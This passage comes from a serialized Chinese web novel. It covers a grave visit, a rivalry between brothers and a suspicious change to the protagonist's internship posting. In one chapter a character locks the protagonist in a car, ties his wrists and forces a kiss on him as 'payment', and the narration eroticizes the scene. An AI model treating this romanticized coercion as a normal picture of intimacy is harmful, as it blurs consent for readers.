贺衍模糊地“唔”了一声,下意识将脸埋进臂弯,却再次握住了鄢忬的那只手,好像怕人突然消失一般。 天刚蒙蒙亮,鄢忬看了眼时间,轻轻唤道:“阿衍,起来吧。” 他轻轻揉了揉贺衍的发顶,指尖传来的触感柔软得像小动物的绒毛。 贺衍猛地抬头,眼眶微红,神色还有些恍惚,他愣愣地看着鄢忬,就那么呆在了那里。 鄢忬任由他看着,静静地凝着他,墨绿色的眸中满是温柔的情愫。 过了好一阵,贺衍才缓过神来,他用力眨了眨眼睛,深吸了一口气。 “你有必要赶得这么紧吗,就不能等退烧了再来吗?” 鄢忬唇角微扬:“因为我和阿衍一样,也有很多话想和杨阿姨说,想第一时间见到她。” 贺衍像是被烫到了一样,移开了视线,他抿了下唇:“你现在怎么样?” 鄢忬眉眼弯起来:“谢谢阿衍,我已经好了。” 贺衍起身,斜了他一眼:“你最好是。” 贺振刚醒的时候,刚好是早上六点,他准备好去扫墓东西,就敲了敲贺衍的门。 “小衍,起床了,该去看你奶奶了。”贺振刚喊了好几声,都没有听到里面的人回应。 难道这小子自己先离开了?! 贺振刚疑惑地蹙眉,他拧了下门,里面的确没人,但贺衍折好的金元宝还在原处。 贺振刚拿起电话,还没打给贺衍,家里的门忽然从外面被打开了。 “贺衍,你这么早去哪里——” 贺振刚的话被吞进了喉咙,他眼睛下意识睁大,看着贺衍身后的男人。 贺振刚对着贺衍挤了挤眼,随后看向鄢忬:“鄢先生,您也来啦。” 鄢忬点了点头:“我来给杨阿姨扫墓。” 贺振刚领着贺衍走到卧室,悄声说道:“你怎么不跟我说一声,他也来会来,我什么准备都没有。” 贺衍弯腰将纸箱抱起来,反问了一句:“爸,他是来看奶奶,要我们准备什么?” 贺振刚拍了一下贺衍的头:“你这孩子,鄢先生可是贵客,咱们再怎么也不能没有礼数。” 贺衍垂着眼,也没放在心里地“哦”了一声。 清晨,七点不到,天已经彻底透亮。 罗河县墓园。 贺振刚和贺衍正站在墓前。 鄢忬站在梧桐树下,把空间留给了父子两人,他望着那处,没有跟到前去。 贺振刚缓缓蹲下身,在墓碑前画了一个圈,随后将两人之前叠好的纸钱和元宝点燃,纸钱和元宝被一叠叠投入火中,火舌舔舐着边缘,单薄的纸张被一点点吞噬成灰烬。 他絮絮叨叨地说着什么,声音哽了一瞬,随后便压了下去。 贺衍始终沉默,垂在身侧的手攥得发白,火光在他的眸中跳动。直到最后一簇火焰熄灭,灰烬被风吹散,他仍一动不动地站着。 贺振刚烧完纸钱后,看贺衍没有出声也没有要走的样子,知道他还有话想要单独和杨梅霞说,便先离开了。 另一边,贺振刚看到鄢忬站在树下,犹豫片刻,还是朝他走了过去。 贺振刚略显局促地打了声招呼:“鄢先生,我得先回去了,一会儿还要上班。” 鄢忬转过身来,阳光透过树叶在他轮廓分明的脸上投下细碎的光影。即便他嘴角带着温和的笑意,那种与生俱来的矜贵气质依然让贺振刚感到无所适从。 贺振刚很是客气地说道:“招待不周,您别见怪。” 鄢忬的目光越过他的肩膀,依旧落在远处贺衍的身影上,轻轻摇头:“言重了。我今天来,本就是为了杨阿姨。” 即便鄢忬方才言谈温和有礼,贺振刚仍觉得浑身不自在。他点了点头,看了眼时间,脚步略显匆忙地转身离开了。 但走出几步,他又忍不住回头看了眼,鄢忬仍站在原地,身影在斑驳树影中显得格外醒目,但即便是背影都透着与这里格格不入的疏离感。 贺振刚搓了搓粗糙的手掌,他也不太懂自己的儿子是怎么和这样的人物相处的,但看两人相处的模样,倒像是鄢忬在处处迁就贺衍似的。 夏日清晨,虽然温度还没彻底升起来,但空气已经逐渐闷热。 贺振走出墓园大门,忽然看到一个年轻人正从车上下来,往墓园内走。 这人的个子很高,黑发黑眸,头发微卷,穿着一件简单的白衬衫,怀中还抱着一束白菊。 阳光斜斜地落在他的脸上,勾勒出清晰的轮廓,他生得极好,眉眼干净得像是画里走出来的人。 贺振刚愣了一下。 罗河县不是特别大,要真有长成这样的,那肯定跟他儿子一样,全县的人都认识,他肯定也有印象。 不过贺振刚实在想不起来这人是谁,只是感觉他挺眼熟。 贺振刚也没准备搭话,就在他迈步离开的时候,对方似乎察觉到他的目光,转过头来,朝他微微一笑,看起来很有礼貌的样子。 贺振刚回了一个微笑,心里倒是莫名其妙。 这谁啊?难道他真认识? 直到走到工厂,贺振刚忽然瞪大了眼睛,脑子里闪过了一个人名,行水?! 墓园内。 贺衍俯身,跪坐在了墓碑前,他的指尖轻轻描摹着墓碑上那张照片。 “奶奶,一年了。”他的声音低哑,“三百多天,明明那么长。可我现在想起来,却短得像是昨天……” “我昨晚梦见您了。”贺衍眼眸弯了下,他尝试笑出来,但失败了。 第124章 第 124 章 是谁,改了他的实习?…… 贺衍的喉结剧烈滚动着, 他抿了下唇,轻声说道:“我还梦见了鄢忬,我们坐在一起吃饭。” “可后来, 后来你们都不见了。” 晨风吹散了他未尽的话语。 贺衍死死盯着墓碑上“杨梅霞”三个字, 眼眶红了一圈,睫毛颤得厉害。 他攥紧的拳头抵在了膝盖上, 指节泛白,手背青筋暴起,仿佛要把所有汹涌的泪意都摁回血肉里。 “我早上醒来了之后,看到了鄢忬,我以为那个梦全都是假的。”贺衍抬手捂住眼睛, 声音碎在了指缝间, “可是奶奶, 你为什么不在呢?” 贺衍静默地站在墓碑前,他下颌线绷紧,像一张拉满的弓, 再多一分力就要折断。 鄢忬站在不远的树下,他凝视着贺衍, 眸光暗沉,眉心皱的厉害。 他无声叹了口气, 缓缓走到了贺衍身边。 手掌轻轻落在对方肩上, 他的声音很轻:“阿衍, 能让我单独跟杨阿姨单独聊聊吗?” 贺衍的喉结滚动了几下, 最终只挤出一个沉闷的“嗯”。 太阳升起,清晨的凉意彻底消散了。 贺琚终于找了杨梅霞的墓碑,只是那里站着的却不是贺衍,而是一个令人无比厌恶的身影。 他的眸色沉了下去, 刚才看到贺振刚离开,他本以为这里只有贺衍,没想到,鄢忬也在这里。 贺琚喉间挤出冷笑,舌尖狠狠抵住了上颚,握着花束的手微微收紧,但脸上却露出近乎脆弱的表情。 贺衍倚靠着粗壮的树干,仰头望着层层叠叠的绿叶出神。斑驳的光影从树叶的间隙洒落,贺衍的大脑放空。 忽然,他的视线无意识地捕捉到一个熟悉的身影,瞳孔骤然紧缩。 贺琚缓步走近。 贺衍直起身,目光冷峻地扫过那束白菊,最终定格在贺琚脸上。 贺衍语气冷硬:“今天是奶奶忌日,别在这里发疯。” 贺琚的脚步微微一顿,他垂下眼睫,褪去了往日的偏执与疯狂,神情脆弱,带着孩童般的无措:“哥哥,我是来见奶奶的。” “而且热搜的事,不是我做的。” 方盛寒前段时间得知贺衍没死,才意识到当初他去年在津兴见到的那个虚影就是贺衍,被欲望冲昏头脑的他立即展开行动,却没想到刚有所动作就被鄢忬的人拦下。 甚至很快就受到了报复。 方氏风投在一周内接连失去多个大客户,连多年的合作伙伴都开始避而远之。 方盛寒不敢把矛头指向俞杉风投,满腔怒火无处发泄,便把所有的怨气都洒在了贺衍身上。 一个多月前,在贺琚开发布会的那天,在网络上曝光贺衍图片的就是方盛寒。 这次也是如此。 贺琚的声音带着委屈,若有所指地说着:“你把我所有联系方式都拉黑了,行踪又被人故意隐瞒了,我没办法和你解释。” 他的眼眶突然红了,泪水在眼中打转:“哥哥,我只是、想和你说说话。” 贺衍也不知是信还是没信,只是敷衍地点了点头。 贺琚把玉镯从手上摘了下来,他声音放得又轻又软,尾音带着恰到好处的颤抖:“我知道哥哥不想让我戴着……其实我这次来,也是想着如果能遇到哥哥,就把这个镯子还给你。” 贺衍的视线落在了他的手上,眼神复杂。 在看到奶奶留下的信后,他就已经知道这只镯子是奶奶特意送给贺琚的,他无权要回。 贺衍淡淡出声:“既然给你了,你就拿着吧。或许奶奶也不希望我拿回去。” 贺琚的眼睛亮了起来:“哥哥——” 远处的脚步声由远及近。 “阿衍,我们该走了。” 鄢忬自然而然地站到贺衍身边,手臂若有若无地碰触着贺衍的肩膀,形成一个保护的姿态。 贺衍瞥了眼肩膀上的手,目光又从贺琚身上扫过,他唇角抽了一下,但没将那只手弄走。 贺琚的指尖摩挲着玉镯边缘,欢愉的心情瞬间被妒意取代,这种酸涩难堪如同毒蛇般啃噬着他的心脏。 贺琚压下了眼底的阴鸷,再次抬起头的时候,眸底已然泛起了水光。 “哥哥,他明明早就查到是方盛寒在搞鬼,却故意瞒着不说,就是为了让你误会我。” 他的眼泪在眼眶中打转,手中握着的白菊花束也跟着他的手颤抖,整个人看着仿佛遭受了什么不堪重负的打击一般,可怜又脆弱。 “我已经改了,哥哥。” 贺衍根本没在意贺琚在说什么,他又瞥了眼搭在自己肩膀上的手,眉梢蹙了下,唇角抿直。 鄢忬注意到他的小动作,知道贺衍有些不耐烦了。 他收回了手,漫不经心地看了眼贺琚,整了整袖口:“既然我们都清楚,阿衍不想听到你的名字,那我又何必多提?” “贺琚,你父亲好不容易找到你,应该不希望你出什么意外。” 贺琚眸中暗芒闪烁,鄢忬怎么会知道这件事。 他突然退后一步,歪着头露出天真无邪的笑容,眼眸弯弯,瞳孔的边缘却凝结成霜:“你这是在威胁我吗?” 空气中顿时剑拔弩张。 “够了。”贺衍的喉结随着压抑的呼吸狠狠滚动,额角暴起的青筋在冷白皮肤上格外明显。今天是奶奶的忌日,他不想让这两人为了无所谓的事情争吵不休。 贺衍的眉眼间尽是烦躁,薄唇抿成一条凌厉的直线。 贺琚心慌了一瞬,倒是乖顺地低下头,手指无意识地攥紧了那束白菊。 贺衍没有看他,只是将目光落在那束花上。 “贺琚,既然你是来见奶奶的,”他顿了顿,喉结滚动了一下,声音轻了几分,“就别在这里多说其他的事情了。” “奶奶,”贺衍低声道,“她应该也很开心能见到你。” 贺琚脸上的笑意骤然凝固,他怔怔地望着贺衍,无意识地轻唤出声,嗓音发颤:“哥哥……” 贺衍的目光扫过他的脸,又很快移开,他没心思去探究贺琚此刻的表情是真是假。 两人离开了。 贺琚的喉结艰难地滚动了一下,内心激烈地挣扎着,他抬手按住抽痛的太阳穴,妒意在胸腔里翻腾,嘴里一阵苦涩。 哥哥,从来不会选择自己啊。 他低笑了一声,但却因为贺衍刚才的话,脚步被死死钉在了原地,不敢离开。 两人的身影消失在了视野中。 贺琚的指尖神经质地抽搐着,他终于收回远望的视线,慢慢走到了杨梅霞的墓前。 他将那束白菊轻轻放到墓碑前的空地上。 紧接着,贺琚的双膝直直地跪在了地上,发出“咚”的一声闷响,但贺琚的表情未变,唇角含着笑,就像很早之前那样,露出了一个所有长辈都会喜欢的表情。 他没有说话,只是将那束花摆正了一些。 贺琚的目光落在了墓碑上,他的声音很轻:“奶奶,既然哥哥不收这个镯子,那就彻底属于我了,对吧。” 他的语意不明,不知道是在说镯子,还是别的什么。 墓碑的照片上,杨梅霞一脸慈爱地笑着。 贺琚睫毛颤了下,唇角上扬的弧度变大:“奶奶既然这样看着我,那就是同意了。” 太阳已然高悬天际,白亮刺目,热风卷着柏油路面的暑气扑面而来。 贺衍眸中闪过些许烦躁,他本来是打算后天直接出发去淮新。 但他实在不想再被贺琚缠上。 直到离开墓园,贺衍才出声:“你今天要离开罗河吗?我和你一起走吧。” 鄢忬的脚步微微一顿,侧头看向身旁的青年,晨光落在贺衍紧绷的侧脸上,将他的睫毛染成浅褐色。 鄢忬没有追问缘由,只是温声说道:“阿衍,你想去哪里?” 贺衍的眉梢微微蹙了起来,浓密的睫毛在脸上投下的阴影,恰好落在了泪痣的上方。 津兴,福宁小区。 贺衍沉沉地睡了过去,直到第二天中午,刺目的阳光才终于将他从混沌中拽了出来。 他眯着眼摸到手机,屏幕亮起的瞬间,铜海大学发来的私人邮件通知跳了出来。 [贺衍同学你好,暑期实习工作地点的分配结果已公布,您的实习地点为……] 贺衍点开邮件,目光瞬间落在了“卢图市”这三个字上。 他猛地眨眼,将整行文字看全:奎尔丹尼州,卢图市,土地管理局。 不,不对! 贺衍头皮瞬间发麻,整个人猛地从床上弹坐起来。 他深吸了一口气,狠狠揉了揉眼睛,再□□复确认,但邮件内容依然没变。 不应该是在淮新的总统府办公室吗,为什么现在实习地点变到了奎尔丹尼州。 贺衍唇瓣抿直,他的眉梢蹙起,眸色变暗,他贺衍死死攥着手机,脑海一片混乱。 是谁,改了他的实习?! 第125章 第 125 章 “你聋了?” 一周前, 奈杜州首府机场。 机场的广播正在持续播报提醒,距离飞机起飞还有三十分钟。 人群来来往往,在航站楼内不断奔走, 寻找着各自的登机口。 裴屷垂眸, 再次点开了贺衍的微讯。 他沉思片刻,拉着行李箱的手握紧, 青筋凸起。 下午五点,飞机在铜海机场降落。 铜海大学,星河湾宿舍区。 现在是周中,不少考完的学生已经陆续回家。 宿舍楼内,时不时响起行李箱的滑轮摩擦地面的声音。 傍晚, 黄弘资吃饱喝足, 悠闲地点开了一局游戏, 丝毫没有收拾行李的意思。 他也的确没有回家的打算,打算在这里等到下周实习结果公布,再考虑回不回家。毕竟略阿州地处偏僻, 不管是到哪里,飞机票都要比从铜海出发要贵上不少。 夕阳的余晖遍燃天际, 黄弘资刚准备新开一局游戏,宿舍的大门被敲响了。 黄弘资不耐烦地“啧”了一声, 他眉毛一拧, 高声朝着外面喊道:“贺衍已经回去了, 别敲了行不行, 开了你们也见不到他。” “是我,我的钥匙忘带了。” 门外传来裴屷略显模糊的声音,黄弘资眼睛飞快眨动,这才站起来打开了门。 黄弘资不好意思地摸了下头:“今天好多人来咱宿舍, 就是为了见贺衍,我还以——” 裴屷微微颔首。 黄弘资侧身示意裴屷进来后,又立刻把门锁上了。 “贺衍,他是自己一个人回去的吗?” 黄弘资冷不丁听到裴屷发问,愣了一下才说道:“哦,是鄢老师过来接他的。” 裴屷抿唇,呼吸变得沉重,他的神色几乎是瞬间变冷了下去,沉默地将行李箱放到了位置旁边。 空气再一次陷入了安静。 黄弘资咽了口唾沫,尬笑了下,他也不敢多问什么,只好戴上耳机继续打游戏掩饰尴尬。 裴屷打开了台灯。 暖和柔和的光线照亮了桌面。 他的神色依旧冷峻,只是睫毛在他的眼下投下的那道阴影,让他的神情莫名染上了几分落寞。 热搜已经压下去了,父亲也并不强迫自己回家。 那,自己是不是可以去找贺衍。 裴屷的喉结滚动,指尖点开了贺衍的微讯。 他垂着眼睛,盯着手机屏幕,手指悬在半空,微微颤着。 他想要问,却又不知道如何问,如何说。 [贺衍,你到家……] 输入框里打了一句话,两句话,三句话,被他一一删掉,再次输入,又再次删掉。 手机忽然嗡嗡震动,屏幕上跳出来一通电话,来电显示上写着石河泰教授这几个字。 裴屷眉梢微蹙,他拿起手机走到阳台接通。 严肃的声音从传出听筒:“裴屷,你之前提出的构想很不错。这次铜海大学的暑期实习,我已向校方推荐你作为技术助理随行。但这属于保密事项,你今天处理完手头的事情明天来我这里报到,我们需要提前到军部进行技术对接。” 裴屷唇瓣紧闭,过了一会儿,他才说道:“老师,我能再考虑一下吗?” 石河泰有些疑惑:“你之前对这个不还是特别感兴趣?这次是军委直接立项的项目,在这个领域,能接触实战数据的机会可不多。” 裴屷的语气依旧平静:“抱歉,老师,您让我再考虑一下。” 黄弘资听到动静看向窗外,阳台的灯没开,裴屷整个人都没入了阴影之中,他保持着那个姿势,不知道在想什么。 直到天际被黑暗全部浸染,裴屷终于动了,他给了石河泰肯定的回复。 六月下旬,周日下午。 从津兴机场起飞的航班进入了奎尔丹尼州境内,银白色的弧线从天际划过,在云层上留下一道很浅的尾痕。 阳光透过舷窗洒进来,奎尔丹尼州的轮廓渐渐清晰,远处的山脉上还挂着未曾融化的雪,在阳光下闪烁着光芒。 奎尔丹尼州的经济在全联邦名列第三,卢图市虽然只是奎尔丹尼州的一个小市,但这个地区的旅游业本就发达,再加上近些年新推出的招商引资政策倒是吸引了一些商户入驻,经济并不差。 贺衍靠着窗微眯着眼看向了窗外,眸色渐沉。 前天,在他收到学校的实习通知邮件后没多久,鄢忬便打电话过来。 今年暑期总统府办公室本来是要招三名实习生,最开始的实习名单内也的确有贺衍的名字,但不知道是什么原因,在铜海大学通知下发的前一天,总统府办公室却临时缩减了名额,打算只招一名。 这个部门选择留下另外一位实习生——罗勋章的侄子。 罗勋章如今势头正旺,又是当今总统的心腹,总统府办公室这个部门里,几乎没人愿意得罪他。 卢图市最近正在大肆动工招商引资,各类商业合同签署的签署比之前几年都要频繁,因此急需精通法律实务的专业人才协助处理相关事务。 因此,当贺衍的个人信息重新录入实习生数据库后,卢图市政府的招聘系统几乎立刻锁定了他,将他分配到了土地管理局。 这是鄢忬询问后,卢图市官方给出的解释,至于真假,无从判别。 实习地点为什么会变成卢图市。 更何况,卢图市,是当初杭凌一出车祸的地方。 贺衍收回远眺的目光,闭上了眼睛。 他的眉梢微微蹙起,这一切,他完全无法相信只是巧合。 土地管理局的职权说大不大,说小不小,规划审批、用地性质变更、闲置土地回收…… 但几乎每一项职权都牵涉众多,小到个体商户,大到集团公司。 广播响起,飞机即将要到达本次航程的目的地。 座椅颤动了一瞬,伴随着突然的耳鸣,飞机的高度开始减低。 现在正值暑假,人流旺季。 贺衍在托运行李的转盘那里等了半个多小时,才终于拿到自己的行李箱。 只是因为等待的时间过长,最开始接单的司机已经把他的订单转给了别人。 但作为高海拔地区,奎尔丹尼州即便是夏季,也并不炎热,甚至带着几分干冷。 贺衍穿着短袖走出航站楼。 高海拔地区清冽的空气扑面而来,让他不自觉地打了个寒战。 不远处,网约车停在上车点,司机懒散地倚在座椅上,指尖有一下没一下地轻敲着方向盘。 他的手背筋骨分明,在蜜色皮肤下微微隆起,随着敲击的动作绷紧又舒展。 灰蓝色的眼睛扫过后视镜,他的视线忽然一顿,深邃的瞳孔倏然亮起,唇角忽然扬了起来。 镜面映出一个高挑的身影,日光斜切过那人肩膀,将他的轮廓勾勒得分外清晰。 在匆匆掠过的人群中,唯独他像是被单独调高了分辨率一般,连睫毛投下的阴影都清晰得过分。 周围路过的人几乎都在偷偷看他。 稀薄的空气,刺眼的日光。 贺衍抬手挡了挡太阳,腕骨在光下白得晃眼,淡青色的血管在皮肤下蜿蜒,让人莫名想要握上去,在上面留下一些痕迹。 高海拔的稀薄空气让所有感官都被放大。 司机喉结滚了滚,他眯起了眼,眼神黏在了即将走到车旁的青年身上,炽热的目光中带着浓稠的暗欲。 尾号是xxx…… 贺衍核对完车型和车牌号,指节叩响了车窗。 后备箱应声弹开,却没人下车帮忙。 贺衍没在乎这些细节,将行李塞进了后备箱,拉开后面的车门坐了进去。他报完手机尾号,抬眸的瞬间,脊背猛地绷直。 贺衍冷啧了一声,他伸手去拉车门的瞬间,电子锁发出无情的“咔嗒”声。 车门已经被岑靳锁死了。 岑靳忽地问道:“你剪头了?” 这家伙脑子有问题吧,贺衍烦躁地扯了扯嘴角:“开门。” 岑靳的目光依旧落在贺衍的头发上,他自言自语地说道:“我第一次见你这么短的头发。” 紧接着,他突然笑出声:“贺衍,你果然是个男人啊。” 真是有病! “聋了?”贺衍踹了脚驾驶座靠背,“你没听到我说什么吗?” “我现在只是个司机。” 他放慢语速,目光在后视镜里与贺衍交锋:“系好安全带,这段路很危险。” 车辆突然加速,贺衍被迫撞进座椅。 贺衍低声暗骂了一句,再次狠狠踹了脚驾驶座。 车辆在路面上飞驰,山路转弯处,轮胎与地面摩擦发出刺耳声响,贺衍猛地前倾了一下。 车忽地停在了路边。 贺衍坐稳身体,眉梢里满是冷意:“岑靳,你要真有病别在我这里——” 岑靳抬眸看向车内后视镜,灰蓝色的眼眸瞬间捕捉到了贺衍的双眼。 “我前段时间见了杭凌一。” 这句话打断了贺衍的声音,他的瞳孔骤然收缩,连呼吸都停了一瞬。 奎尔丹尼州,卢图市,土地管理局。 局长办公室内。 模样普通的中年男人坐在办公桌前。 他的身形修长而挺拔,肩线平直,仪态极好,只是那张脸,是一张扔进人海就再难辨认的脸。但那双眼睛,在光线变换的瞬间,却会不经意地泄出一丝极淡的蓝。 他的眼眸微垂,骨节分明的修长手指缓缓翻动着桌面上的实习生档案,唇角牵起一个几不可察的弧度。 第126章 第 126 章 “打够了?” 人迹罕至的山路一侧, 阴影处,一辆不起眼的黑车停在那里。 车内的空气凝固了一瞬,贺衍拧眉看着他:“杭凌一怎么样, 你们说了什么?!” 贺衍身子往前凑了些许, 眉梢也染上了焦急,继续道:“他恢复记忆了吗?” 岑靳心里发酸, 近乎抱怨地低语了一句,但声音在车内极其明显和清晰:“果然只有提到杭凌一,你才会有这种反应,我怎么从来没见你担心过我——” “别说废话了!”贺衍有些不耐地拍了拍他的椅背,“杭凌一现在到底怎么样?” 说话的瞬间, 岑靳突然放低了椅背, 贺衍半身的重量瞬间落空, 他的身体倒向一侧,被岑靳顺势扣住了手腕。 贺衍反手扭了一下,迫使岑靳松开了手, 他眼底的不耐更重了:“你到底说不说,不想说就让我下车, 别在这里磨磨蹭蹭。” 岑靳视线里几乎没有别的东西,他看着他说话时张张合合的唇瓣出神了一瞬, 那只被贺衍挣脱的手还怔在半空, 他的手指抽动了一下, 在贺衍愈发冷漠的神色中收回。 “你想听吗?” 岑靳轻声问道, 视线依旧不曾移开,牢牢锁定在贺衍身上。他的视线炽热滚烫,带着不容抗拒的侵占欲,仿佛要透过衣料直接烙在皮肤上。 “你这不是废话吗。” 贺衍的声音冷淡, 指尖有一搭没一搭敲着车窗边缘,他不耐地抿了下唇,偏头避开了那道灼人的视线,指节倏然绷紧,泄露出几分压抑的躁意。 岑靳唇角勾起,眼底的暗色翻涌,在贺衍声音落下的瞬间,他便倾身向前,阴影彻底笼罩住了贺衍。 狭小的车厢内,空气陡然变得稀薄。 贺衍神色骤冷,眼底闪过一丝戾气,他猛地抬手抵住岑靳的胸膛将他推开,力道狠厉,指节几乎要陷进对方肌肉里。 但岑靳却纹丝未动,他只是低笑了一声,反而更凑近了些,温热的呼吸扑在贺衍绷紧的颈侧,激起一片细微的战栗。 贺衍神色森冷,他的肌肉紧绷,在岑靳靠过来的瞬间,膝盖便猛地上抬。 但岑靳却仿佛早有预料般用腿压制住了他,将他的双腿卡在了前座后仰的椅背下,单手扣住了贺衍的手腕,另一只手撑在了车窗上。 狭小的空间,贺衍全身的肌肉紧绷着,他的手动了一下,脖颈处的青筋暴起。 两人肢体相抵,呼吸交错,连车内的温度都仿佛在攀升。 “急什么?”岑靳嗓音沙哑,他的指腹沿着贺衍眉骨缓缓摩挲,带着某种暧昧的暗示,“我的话还没说完。” 贺衍眯起眼,他把头偏向了一边,几乎是一瞬间便挣脱了岑靳的束缚。 下一秒,手肘狠狠撞向岑靳肋下,可岑靳却只是闷哼了一声,身形纹丝未动,反而顺势再次扣住贺衍的手腕,力道大得几乎要捏碎他的骨头。 岑靳随手拿出了一条深色的领带,死死地绑住了贺衍的手腕。 贺衍眼底戾气翻涌,胸膛剧烈起伏,但他暴怒的挣扎,却只换来了领带更深的勒紧。 “岑靳,你特么——”贺衍的声音低哑,每个字都像是从齿缝里挤出来的。 “贺衍,我当然可以说给你听。” 岑靳的唇角扬起一抹弧度,“但我要收一些报酬——” 岑靳的声音里带着不容拒绝的味道,话音未落,没有给贺衍任何反应的时间,他的指腹重重地碾过了贺衍的下唇。 贺衍紧闭着唇瓣,贺衍死死咬着牙关,下颌线条绷得锋利,挣扎的动作更加剧烈,脖颈上青筋暴起。可岑靳的手突然用力握住他的下颌,强迫他张开了嘴。 “唔——”贺衍吃痛,唇缝间泄出一丝闷哼。 “我不清楚杭凌一有没有恢复记忆,但——” 贺衍听到他的话,神色怔了下,动作也停滞一瞬。 看到贺衍的反应,岑靳自嘲地扯了扯嘴角,眸色暗了下去,声音也戛然而止。 他的指尖抵上了贺衍的唇,慢条斯理地用指节撬开了他紧闭的齿关,甚至恶劣地往里顶了顶,指腹碾过柔软的舌根,搅出黏腻的水声。 贺衍眼尾泛起薄红,喉咙里溢出一声压抑的呜咽,唾液不受控制地从唇角滑落,但岑靳的手强硬地卡在他下颌那处,让他连合拢双唇都做不到。 “真漂亮。你知道吗?贺衍,我每天每晚都在想着你入眠。”岑靳低语的呢喃在狭小的车厢内回荡。 “我也想让你开心,但如果按照你的意愿,那我就再也见不到你了。”岑靳的语气变得低落,灰蓝色的眼眸垂落,眼底缠眷的欲色几乎要将人溺死在其中,无法呼吸。 “所以,我宁愿你恨我。” 自说自话,真特么—— 贺衍的胸膛剧烈起伏着,他猛地抬头,那双燃着怒火的眸子亮得惊人,被绑缚的双手突然发力,手肘朝岑靳的太阳穴击去。 岑靳猝不及防偏头躲闪,但还是被贺衍一记肘击狠狠砸在了肩胛骨上。剧痛让他闷哼一声,肌肉瞬间绷紧起来,却仍死死钳制着身下的人。 贺衍趁机再次向他撞去,同时偏头咬住腕间的领带,领带被扯开了一点。 岑靳眸色一沉,眼底却燃起更危险的暗火,呼吸明显粗重了几分,他突然扣住贺衍的双手将人向后按去,贺衍的手背撞上坚硬的车门,痛得眼前发黑。 领带被岑靳再次系紧,蜜色的肌肤和冷白的肌肤交错着交缠在一起,座椅发出不堪重负的声响。 “省省力气……”话音未落,岑靳便俯下了身。 喘息交错间,密闭的车厢里水声黏腻,岑靳的拇指卡在贺衍下颌,逼他承受这个近乎窒息的吻。 贺衍喉间溢出一声闷哼,却在对方变本加厉的纠缠中被迫仰起头接受。 氧气即将要被掠夺殆尽,贺衍狠狠地咬住岑靳的舌尖,腰腹突然发力,仰头再次向岑靳撞去,却在下一秒再次被岑靳掐着腰压下去。 血腥味在口腔蔓延的刹那,岑靳眼底暗色骤浓,掐着他腰肢的手猛地收紧。他将贺衍困在车厢的角落,咬着他红肿的唇哑声道:“报酬还没付完……” 贺衍喘息着,被捆着的双手脱力,手臂的肌肉不受控制地发颤,他忽然卸了力道,喉结滚动着哑声道:“你先告诉我,我再付报酬。” 尾音尚未落下,岑靳突然咬住他耳垂低笑,温热的吐息钻进耳道:“现在还在想杭凌一?那你知道他背叛你了吗?” 贺衍浑身肌肉瞬间绷紧,瞳孔剧烈收缩。 这个反应取悦了岑靳,他正要继续开口,震耳欲聋的摇滚乐由远及近,伴随着轮胎摩擦山路发出的刺耳声响。 岑靳不爽地皱眉,却见贺衍趁机屈起膝盖。他立即加重压制力道,两人交叠的身影让整辆车都跟着晃动。 一辆亮蓝色极其骚包的跑车缓缓停在了不远处,穿着定制西装的年轻男人降下车窗,他摘下墨镜,饶有兴致地打量着这辆停在阴影处的黑车。 他忽地挑了下眉,注意到了还在晃动着的车身,突然吹了声口哨:“玩这么野?” 男人打开了车门,脚步声逐渐逼近。 岑靳阴沉着脸将贺衍按进了阴影里,贺衍蹙了下眉,但听到窗外的脚步声,也忽地愣怔了下。 车外那人把脸贴上了车窗,但特制的车窗膜让他什么都看不见,就在他准备再贴近一点的时候,后车窗突然降下了一个小缝。 他隐约瞥到了一双被捆住的手。 “滚。” 年轻男人猝不及防对上那双含着凶光的眼睛,寒意瞬间顺着脊背上窜。 “对、对不起!”他踉跄着后退,直到跑车引擎发出刺耳的轰鸣声,后视镜里那辆黑车依然在轻微晃动。 他狠狠砸了下方向盘,对着后视镜啐了一口:“操,装什么逼!” 他将墨镜重新戴上,顺手将摇滚乐拧到最大音量,但依旧在狠狠咒骂刚才的男人。 车载导航的机械女声不合时宜地响起:[距离卢图市土地管理局还有27公里,正在持续为您导航] 山路旁的阴影处,黑车晃动的幅度变大。 贺衍已经趁机解开了领带,他猛地屈膝顶向岑靳腹部,在对方吃痛的瞬间,将人狠狠踢开。他眼底燃烧着怒火,扯过领带三两下就把岑靳的手腕绑在了车顶的扶手上,勒得极紧。 “岑靳,你特么真是找死!” 话音未落,贺衍的拳头已经狠狠地砸向了岑靳。 岑靳的唇角被打得出血,颧骨上发出了令人牙酸的闷响,但贺衍的拳头没有停,直奔肋腹之处。 岑靳呛出一声痛哼。 贺衍深吸了一口气,小臂上青筋暴起,拳头在距离岑靳太阳穴毫厘之处骤然停住,指节上还沾着血。 岑靳目光扫过贺衍泛红的指关节,突然低笑:“打够了?” 贺衍眯了下眼,瞳孔周围凝着一层寒霜,他睨了眼岑靳,忽然觉得没什么好说的。 就在他准备推门离开的时候,岑靳忽然出声了:“杭凌一两周前被任命为经济发展局副局长。” “如果没有罗彰勋的首肯,他不可能得到这个职位。” 贺衍触在车门上的手猛地收紧,他侧眸看向了岑靳,声音冷然:“说清楚?” 岑靳的尾音带着几分嘶哑,“你为了杭凌一宁愿把自己的生命弃之不顾,但杭凌一可不是这样。” 贺衍眯了下眼,他清楚杭凌一是什么样的人,就算杭凌一没有恢复记忆,凭他那种性格,也不可能真的跟罗勋章同流合污。 但如果杭凌一已经忘记了他查到了东西—— 岑靳苦笑了一声,他的眸色晦暗:“贺衍,你知不知道,罗勋章是裴行赫的心腹,你去查他,跟亲自查裴行赫又有什么区别。” 说到最后,他的声音里已经染上了怒意:“贺衍,你还想活下去吗?!” 贺衍半晌没有回答,眉眼间依旧凝着寒意,他垂眸沉思了片刻,忽地抬头看向了岑靳。 “我能问你一个问题吗?” 他说这话时微微抬眉,浓密的睫毛在眼睑投下了一片阴影,眉骨显得愈发凌厉,可唇瓣却嫣红欲滴,唇上还凝着一点血珠,让他冷峻的神色平添了几分旖旎的艳色。 岑靳喉结发紧,强迫自己的视线从他的唇上移开。 “你当初说愿意帮我,现在还作数吗?” 岑靳的呼吸一滞,心跳漏了半拍。 土地管理局外,一辆亮蓝色的跑车开到了大门前,年轻男人把墨镜扔到一旁的座位上,对着门卫说道:“我是今年的暑期实习生,能开进去吗?” 门卫核对了身份后,道闸缓缓升起。 半小时后,贺衍拉着行李箱,也走进了土地管理局大楼内。 第127章 第 127 章 局长 土地管理局, 实习生报到点。 办公室的大门敞开着,里面只坐着一个身穿浅蓝色职业套装的女性,她是本次实习工作的负责人。 今年土地管理局一共有六名实习生, 其中四名在下属的分部工作, 并不在总局,只有两个实习生被分配到了土地管理局总局。 其中一个姓左, 左丘宽。 